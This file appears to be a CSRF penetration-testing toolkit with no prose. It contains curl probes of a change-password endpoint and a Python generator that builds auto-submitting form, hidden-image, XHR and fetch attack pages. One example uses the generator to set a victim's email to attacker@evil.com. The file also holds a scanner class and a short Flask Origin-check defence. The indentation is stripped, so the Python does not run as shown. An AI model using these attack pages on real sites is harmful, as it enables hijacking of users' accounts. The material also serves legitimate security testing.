#!/bin/bash
TARGET="https://target.com"
SESSION="valid_session_cookie"
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123"}'
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":""}'
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":"invalid123"}'
curl -s -X POST "$TARGET/api/change-password" \
-b "session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"new_password":"newpass123","csrf_token":"other_user_token"}'
class CSRFPoCGenerator:
def generate_form_poc(self, target_url, method, params, auto_submit=True):
"""Generate HTML form CSRF PoC"""
html = f"""<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form id="csrf_form" action="{target_url}" method="{method}">
"""
for name, value in params.items():
html += f' <input type="hidden" name="{name}" value="{value}" />\n'
html += """ <input type="submit" value="Submit" />
</form>
"""
if auto_submit:
html += """ <script>
document.getElementById('csrf_form').submit();
</script>
"""
html += """</body>
</html>"""
return html
def generate_img_poc(self, target_url):
"""Generate image-based CSRF PoC (for GET)"""
return f"""<!DOCTYPE html>
<html>
<body>
<img src="{target_url}" style="display:none" />
</body>
</html>"""
def generate_xhr_poc(self, target_url, method, data, content_type="application/json"):
"""Generate XHR CSRF PoC"""
return f"""<!DOCTYPE html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("{method}", "{target_url}", true);
xhr.setRequestHeader("Content-Type", "{content_type}");
xhr.withCredentials = true;
xhr.send('{data}');
</script>
</body>
</html>"""
def generate_fetch_poc(self, target_url, method, data):
"""Generate Fetch API CSRF PoC"""
return f"""<!DOCTYPE html>
<html>
<body>
<script>
fetch("{target_url}", {{
method: "{method}",
credentials: "include",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({data})
}});
</script>
</body>
</html>"""
generator = CSRFPoCGenerator()
form_poc = generator.generate_form_poc(
"https://target.com/change-email",
"POST",
{"email": "attacker@evil.com"}
)
print(form_poc)
import requests
import re
from bs4 import BeautifulSoup
class CSRFTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.findings = []
def authenticate(self, login_endpoint, credentials):
"""Authenticate and get session"""
self.session.post(f"{self.base_url}{login_endpoint}", data=credentials)
def test_endpoint(self, endpoint, method, data):
"""Test single endpoint for CSRF"""
print(f"\n[*] Testing {method} {endpoint}")
print(" [1] Testing without token...")
response = self._make_request(endpoint, method, data, include_token=False)
if response.status_code in [200, 201, 302]:
print(" [VULN] Request accepted without CSRF token")
self.findings.append({
"endpoint": endpoint,
"issue": "No CSRF token required",
"severity": "High"
})
print(" [2] Testing with empty token...")
data_with_empty = {**data, "csrf_token": ""}
response = self._make_request(endpoint, method, data_with_empty)
if response.status_code in [200, 201, 302]:
print(" [VULN] Empty CSRF token accepted")
self.findings.append({
"endpoint": endpoint,
"issue": "Empty CSRF token accepted",
"severity": "High"
})
print(" [3] Testing with invalid token...")
data_with_invalid = {**data, "csrf_token": "invalid_token_123"}
response = self._make_request(endpoint, method, data_with_invalid)
if response.status_code in [200, 201, 302]:
print(" [VULN] Invalid CSRF token accepted")
self.findings.append({
"endpoint": endpoint,
"issue": "Invalid CSRF token accepted",
"severity": "High"
})
def _make_request(self, endpoint, method, data, include_token=True):
"""Make request with/without token"""
url = f"{self.base_url}{endpoint}"
if method.upper() == "POST":
return self.session.post(url, data=data)
elif method.upper() == "PUT":
return self.session.put(url, json=data)
elif method.upper() == "DELETE":
return self.session.delete(url)
return None
def check_samesite_cookie(self):
"""Check SameSite cookie attribute"""
print("\n[*] Checking SameSite cookie attribute...")
response = self.session.get(self.base_url)
for cookie in self.session.cookies:
print(f" Cookie: {cookie.name}")
def generate_report(self):
"""Generate CSRF test report"""
print("\n" + "="*50)
print("CSRF TESTING REPORT")
print("="*50)
if not self.findings:
print("\nNo CSRF vulnerabilities found.")
return
print(f"\nVulnerabilities: {len(self.findings)}")
for f in self.findings:
print(f"\n Endpoint: {f['endpoint']}")
print(f" Issue: {f['issue']}")
print(f" Severity: {f['severity']}")
tester = CSRFTester("https://target.com")
tester.authenticate("/login", {"username": "test", "password": "test"})
tester.test_endpoint("/api/change-email", "POST", {"email": "new@email.com"})
tester.test_endpoint("/api/change-password", "POST", {"password": "newpass"})
tester.generate_report()
@app.before_request
def validate_origin():
if request.method in ['POST', 'PUT', 'DELETE']:
origin = request.headers.get('Origin')
referer = request.headers.get('Referer')
allowed_origins = ['https://example.com']
if origin and origin not in allowed_origins:
abort(403)